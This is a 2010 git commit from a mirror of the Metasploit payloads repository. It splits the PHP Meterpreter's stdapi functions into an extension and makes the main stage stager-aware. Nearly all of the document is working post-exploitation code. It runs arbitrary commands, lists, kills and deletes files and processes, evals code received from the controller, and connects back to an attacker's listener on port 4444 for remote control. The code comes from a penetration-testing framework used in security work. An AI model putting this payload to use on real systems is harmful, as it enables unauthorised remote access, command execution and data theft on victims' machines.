1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

split stadpi out into an extension, add a reverse_tcp stager, make the main meterpreter stage-aware so it will work as a standalone or eval'd by a stager that sets $msgsock and $msgsock_type; see #2128

git-svn-id: file:///home/svn/framework3/trunk@9594 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2010-06-23 20:00:27 +00:00
parent f29cb854f4
commit 80b544d1d2
2 changed files with 482 additions and 464 deletions

View File

@ -0,0 +1,401 @@
#<?php
##
# STDAPI
##
# Wrap everything in checks for existence of the new functions in case we get
# eval'd twice
my_print("Evaling stdapi");
# Need to nail down what this should actually do. In ruby, it doesn't expand
# environment variables but in the windows meterpreter it does
if (!function_exists('stdapi_fs_expand_path')) {
function stdapi_fs_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
return ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
chdir($path_tlv['value']);
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_fs_delete')) {
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
$ret = unlink($path_tlv['value']);
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_getwd')) {
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
return ERROR_SUCCESS;
}
}
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$path = $path_tlv['value'];
$dir_handle = @opendir($path);
if ($dir_handle) {
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
#my_print("Adding file $file");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
$st = stat($path . DIRECTORY_SEPARATOR . $file);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
closedir($dir_handle);
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_fs_stat')) {
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = $path_tlv['value'];
$st = stat($path);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
# works
if (!function_exists('stdapi_fs_delete_file')) {
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = $path_tlv['value'];
if ($path && is_file($path)) {
$worked = @unlink($path);
return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
} else {
return ERROR_FAILURE;
}
}
}
# works
if (!function_exists('stdapi_sys_config_getuid')) {
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
$uid = posix_getuid();
$pwinfo = posix_getpwuid($uid);
$user = $pwinfo['name'] . " ($uid)";
} else {
# The posix functions aren't available, this is probably windows. Use
# the functions for getting user name and uid based on file ownership
# instead.
$user = get_current_user() . " (" . getmyuid() . ")";
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
return ERROR_SUCCESS;
}
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
return ERROR_SUCCESS;
}
}
# Global list of processes so we know what to kill when a channel gets closed
$processes = array();
if (!function_exists('stdapi_sys_process_execute')) {
function stdapi_sys_process_execute($req, &$pkt) {
my_print("doing execute");
$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
$flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
$cmd = $cmd_tlv['value'];
$args = $args_tlv['value'];
$flags = $flags_tlv['value'];
# If there was no command specified, well, a user sending an empty command
# deserves failure.
my_print("Cmd: $cmd $args");
$real_cmd = $cmd ." ". $args;
if (0 > strlen($cmd)) {
return ERROR_FAILURE;
}
#my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
global $processes, $channels;
my_print("Channelized");
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
if ($handle === false) {
return ERROR_FAILURE;
}
$pipes['type'] = 'stream';
register_stream($pipes[0]);
register_stream($pipes[1]);
register_stream($pipes[2]);
$channels[] = $pipes;
# associate the process with this channel so we know when to close it.
$processes[count($channels) - 1] = $handle;
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, count($channels)-1));
} else {
# Don't care about stdin/stdout, just run the command
my_cmd($real_cmd);
}
return ERROR_SUCCESS;
}
}
# Works, but not very portable. There doesn't appear to be a PHP way of
# getting a list of processes, so we just shell out to ps/tasklist.exe. I need
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
if (is_windows()) {
# This command produces a line like:
# "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
$output = my_cmd("tasklist /v /fo csv /nh");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
$line = trim($line);
#
# Ghetto CSV parsing
#
$pieces = preg_split('/","/', $line);
# Strip off the initial quote on the first and last elements
$pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
$cnt = count($pieces) - 1;
$pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));
$proc_info = array($pieces[1], $pieces[6], $pieces[0]);
array_push($list, $proc_info);
}
} else {
# This command produces a line like:
# 1553 root /sbin/getty -8 38400 tty1
$output = my_cmd("ps a -w -o pid,user,cmd --no-header 2>/dev/null");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
array_push($list, preg_split("/\s+/", trim($line)));
}
}
foreach ($list as $proc) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
# Strip the pid and the user name off the front; the rest will be the
# full command line
array_shift($proc);
array_shift($proc);
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
}
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_sys_process_getpid')) {
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_process_kill')) {
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
# out when unnecessary.
my_print("doing kill");
$pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
$pid = $pid_tlv['value'];
if (is_callable('posix_kill')) {
$ret = posix_kill($pid, 9);
$ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
if ($ret != ERROR_SUCCESS) {
my_print(posix_strerror($ret));
}
} else {
$ret = ERROR_FAILURE;
if (is_windows()) {
my_cmd("taskkill /f /pid $pid");
# Don't know how to check for success yet, so just assume it worked
$ret = ERROR_SUCCESS;
} else {
if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
$ret = ERROR_SUCCESS;
}
}
}
return $ret;
}
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
global $channels;
$cid_tlv = packet_get_tlv(TLV_TYPE_CHANNEL_ID, $req);
$c = get_channel_by_id($cid_tlv['value']);
if ($c && $c['type'] == 'socket') {
@socket_shutdown($c[0], $how);
$ret = ERROR_SUCCESS;
} else {
$ret = ERROR_FAILURE;
}
return $ret;
}
}
# END STDAPI
##
# Channel Helper Functions
##
if (!function_exists('channel_create_stdapi_fs_file')) {
function channel_create_stdapi_fs_file($req, &$pkt) {
global $channels;
$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
#my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
if (!$mode_tlv) {
$mode_tlv = array('value' => 'rb');
}
$fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
if (is_resource($fd)) {
register_stream($fd);
array_push($channels, array(0 => $fd, 1 => $fd, 'type' => 'stream'));
$id = count($channels) - 1;
my_print("Created new file channel $fd, with id $id");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
return ERROR_SUCCESS;
} else {
my_print("Failed to open");
}
return ERROR_FAILURE;
}
}
if (!function_exists('channel_create_stdapi_net_tcp_client')) {
function channel_create_stdapi_net_tcp_client($req, &$pkt) {
global $channels, $readers;
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
$retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
if (is_callable('socket_create')) {
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$res = socket_connect($sock, $peer_host_tlv['value'], $peer_port_tlv['value']);
if (!$res) {
return ERROR_FAILURE;
}
register_socket($sock);
} else {
$sock = fsockopen($peer_host_tlv['value'], $peer_port_tlv['value']);
if (!$sock) {
return ERROR_FAILURE;
}
register_stream($sock);
}
#
# If we got here, the connection worked, respond with the new channel ID
#
array_push($channels, array(0 => $sock, 1 => $sock, 'type' => get_rtype($sock)));
$id = count($channels) - 1;
my_print("Created new channel $sock, with id $id");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
array_push($readers, $sock);
return ERROR_SUCCESS;
}
}

View File

@ -1,15 +1,32 @@
//<?php
# The previous line lets us run as a standalone file or as eval'd code. We use
# a // for the comment instead of # so that the comment remover doesn't blow it
# away.
#<?php
# global list of channels
if (!isset($channels)) {
$channels = array();
}
# global resource map. This is how we know whether to use socket or stream
# functions on a channel.
if (!isset($resource_type_map)) {
$resource_type_map = array();
}
# global list of resources we need to watch in the main select loop
#if (!isset($readers)) {
$readers = array();
#}
function my_print($str) {
#error_log($str);
error_log($str);
#print($str ."\n");
#flush();
}
my_print("Evaling main meterpreter stage");
# Be very careful not to put a # anywhere that isn't a comment (e.g. inside a
# string) as the comment remover will completely break this payload
function dump_array($arr, $name=null) {
if (is_null($name)) {
my_print(sprintf("Array (%s)", count($arr)));
@ -278,403 +295,6 @@ function is_windows() {
}
##
# STDAPI
##
# Wrap everything in checks for existence of the new functions in case we get
# eval'd twice
#my_print("Evaling stdapi");
# Need to nail down what this should actually do. In ruby, it doesn't expand
# environment variables but in the windows meterpreter it does
if (!function_exists('stdapi_fs_expand_path')) {
function stdapi_fs_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
return ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
chdir($path_tlv['value']);
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_fs_delete')) {
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
$ret = unlink($path_tlv['value']);
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_getwd')) {
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
return ERROR_SUCCESS;
}
}
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$path = $path_tlv['value'];
$dir_handle = @opendir($path);
if ($dir_handle) {
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
#my_print("Adding file $file");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
$st = stat($path . DIRECTORY_SEPARATOR . $file);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
closedir($dir_handle);
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_fs_stat')) {
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = $path_tlv['value'];
$st = stat($path);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
# works
if (!function_exists('stdapi_fs_delete_file')) {
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = $path_tlv['value'];
if ($path && is_file($path)) {
$worked = @unlink($path);
return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
} else {
return ERROR_FAILURE;
}
}
}
# works
if (!function_exists('stdapi_sys_config_getuid')) {
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
$uid = posix_getuid();
$pwinfo = posix_getpwuid($uid);
$user = $pwinfo['name'] . " ($uid)";
} else {
# The posix functions aren't available, this is probably windows. Use
# the functions for getting user name and uid based on file ownership
# instead.
$user = get_current_user() . " (" . getmyuid() . ")";
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
return ERROR_SUCCESS;
}
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
return ERROR_SUCCESS;
}
}
$processes = array();
if (!function_exists('stdapi_sys_process_execute')) {
function stdapi_sys_process_execute($req, &$pkt) {
my_print("doing execute");
$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
$flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
$cmd = $cmd_tlv['value'];
$args = $args_tlv['value'];
$flags = $flags_tlv['value'];
# If there was no command specified, well, a user sending an empty command
# deserves failure.
my_print("Cmd: $cmd $args");
$real_cmd = $cmd ." ". $args;
if (0 > strlen($cmd)) {
return ERROR_FAILURE;
}
#my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
global $processes, $channels;
my_print("Channelized");
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
if ($handle === false) {
return ERROR_FAILURE;
}
$pipes['type'] = 'stream';
register_stream($pipes[0]);
register_stream($pipes[1]);
register_stream($pipes[2]);
$channels[] = $pipes;
# associate the process with this channel so we know when to close it.
$processes[count($channels) - 1] = $handle;
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, count($channels)-1));
} else {
# Don't care about stdin/stdout, just run the command
my_cmd($real_cmd);
}
return ERROR_SUCCESS;
}
}
# Works, but not very portable. There doesn't appear to be a PHP way of
# getting a list of processes, so we just shell out to ps/tasklist.exe. I need
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
if (is_windows()) {
# This command produces a line like:
# "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
$output = my_cmd("tasklist /v /fo csv /nh");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
$line = trim($line);
#
# Ghetto CSV parsing
#
$pieces = preg_split('/","/', $line);
# Strip off the initial quote on the first and last elements
$pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
$cnt = count($pieces) - 1;
$pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));
$proc_info = array($pieces[1], $pieces[6], $pieces[0]);
array_push($list, $proc_info);
}
} else {
# This command produces a line like:
# 1553 root /sbin/getty -8 38400 tty1
$output = my_cmd("ps a -w -o pid,user,cmd --no-header 2>/dev/null");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
array_push($list, preg_split("/\s+/", trim($line)));
}
}
foreach ($list as $proc) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
# Strip the pid and the user name off the front; the rest will be the
# full command line
array_shift($proc);
array_shift($proc);
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
}
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_sys_process_getpid')) {
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_process_kill')) {
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
# out when unnecessary.
my_print("doing kill");
$pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
$pid = $pid_tlv['value'];
if (is_callable('posix_kill')) {
$ret = posix_kill($pid, 9);
$ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
if ($ret != ERROR_SUCCESS) {
my_print(posix_strerror($ret));
}
} else {
$ret = ERROR_FAILURE;
if (is_windows()) {
my_cmd("taskkill /f /pid $pid");
# Don't know how to check for success yet, so just assume it worked
$ret = ERROR_SUCCESS;
} else {
if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
$ret = ERROR_SUCCESS;
}
}
}
return $ret;
}
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
global $channels;
$cid_tlv = packet_get_tlv(TLV_TYPE_CHANNEL_ID, $req);
$c = get_channel_by_id($cid_tlv['value']);
if ($c && $c['type'] == 'socket') {
@socket_shutdown($c[0], $how);
$ret = ERROR_SUCCESS;
} else {
$ret = ERROR_FAILURE;
}
return $ret;
}
}
# END STDAPI
##
# Channel Helper Functions
##
# global list of channels
$channels = array();
function channel_create_stdapi_fs_file($req, &$pkt) {
global $channels;
$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
#my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
if (!$mode_tlv) {
$mode_tlv = array('value' => 'rb');
}
$fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
if (is_resource($fd)) {
register_stream($fd);
array_push($channels, array(0 => $fd, 1 => $fd, 'type' => 'stream'));
$id = count($channels) - 1;
my_print("Created new file channel $fd, with id $id");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
return ERROR_SUCCESS;
} else {
my_print("Failed to open");
}
return ERROR_FAILURE;
}
function channel_create_stdapi_net_tcp_client($req, &$pkt) {
global $channels, $readers;
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
$retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
if (is_callable('socket_create')) {
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$res = socket_connect($sock, $peer_host_tlv['value'], $peer_port_tlv['value']);
if (!$res) {
return ERROR_FAILURE;
}
register_socket($sock);
} else {
$sock = fsockopen($peer_host_tlv['value'], $peer_port_tlv['value']);
if (!$sock) {
return ERROR_FAILURE;
}
register_stream($sock);
}
#
# If we got here, the connection worked, respond with the new channel ID
#
array_push($channels, array(0 => $sock, 1 => $sock, 'type' => get_rtype($sock)));
$id = count($channels) - 1;
my_print("Created new channel $sock, with id $id");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
array_push($readers, $sock);
return ERROR_SUCCESS;
}
@ -827,16 +447,18 @@ function core_channel_interact($req, &$pkt) {
return $ret;
}
# Libraries are sent as a zlib-compressed blob. Unfortunately, zlib support is
# not default in non-Windows versions of PHP or anything before 4.3.0 so we
# need some way to indicate to the client that we can't handle compressed
# blobs. Until then, don't actually implement loadlib yet. Maybe someday
# we'll have ext_server_stdapi.php or whatever. For now just return success.
# zlib support is not compiled in by default, so this makes sure the library
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
my_print("doing core_loadlib (no-op)");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
return ERROR_SUCCESS;
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
} else {
eval($data_tlv['value']);
return ERROR_SUCCESS;
}
}
@ -1027,30 +649,11 @@ function packet_get_tlv($pkt, $type) {
}
##
# Functions for genericizing the stream/socket conundrum
##
function add_reader($resource) {
global $readers;
my_print("-- Adding {$resource} to readers");
if (is_resource($resource) && !in_array($resource, $readers)) {
array_push($readers, $resource);
}
}
function remove_reader($resource) {
global $readers;
if (in_array($resource, $readers)) {
my_print("-- Removing $resource from readers");
foreach ($readers as $key => $r) {
if ($r == $resource) {
unset($readers[$key]);
break;
}
}
}
}
$resource_type_map = array();
function register_socket($sock) {
global $resource_type_map;
my_print("Registering socket $sock");
@ -1190,6 +793,24 @@ function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
return $count;
}
function add_reader($resource) {
global $readers;
if (is_resource($resource) && !in_array($resource, $readers)) {
$readers[] = $resource;
}
}
function remove_reader($resource) {
global $readers;
my_print("Readers $readers");
if (in_array($resource, $readers)) {
foreach ($readers as $key => $r) {
if ($r == $resource) {
unset($readers[$key]);
}
}
}
}
##
@ -1207,49 +828,45 @@ error_reporting(0);
# Has no effect in safe mode, but try anyway
@set_time_limit(0);
# The payload handler overwrites this with the correct LPORT before sending
# it to the victim.
$port = 4444;
$listen = false;
if ($listen) {
# Assume that the socket functions are available since there really isn't
# any other way to create a server socket. XXX Investigate using COM
# objects to accomplish this in Windows since socket_* are unavailable by
# default.
my_print("Listening on $port");
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
# don't care if this fails
@socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
$ret = socket_bind($sock, 0, $port);
$ret = socket_listen($sock, 5);
$msgsock = socket_accept($sock);
socket_close($sock);
my_print("Got a socket connection $msgsock");
} else {
my_print("Connecting to $port");
# If we don't have a socket we're standalone, setup the connection here.
# Otherwise, this is a staged payload, don't bother connecting
if (!isset($msgsock)) {
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ipaddr = '127.0.0.1';
if (is_callable('socket_create')) {
$msgsock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$res = socket_connect($msgsock,$ipaddr,$port);
if (!$res) { die(); }
register_socket($msgsock);
} else {
$port = 4444;
if (FALSE !== strpos($ipaddr,":")) {
# ipv6 requires brackets around the address
$ipaddr = "[".$ipaddr."]";
}
if (is_callable('stream_socket_client')) {
$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
if (!$msgsock) { die(); }
$msgsock_type = 'stream';
} elseif (is_callable('fsockopen')) {
$msgsock = fsockopen($ipaddr,$port);
if (!$msgsock) { die(); }
register_stream($msgsock);
$msgsock_type = 'stream';
} elseif (is_callable('socket_create')) {
$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$res = socket_connect($msgsock, $ipaddr, $port);
if (!$res) { die(); }
$msgsock_type = 'socket';
} else {
die();
}
}
switch ($msgsock_type) {
case 'socket': register_socket($msgsock); break;
case 'stream':
# fall through
default:
register_stream($msgsock); break;
}
$readers = array($msgsock);
add_reader($msgsock);
#
# Main dispatch loop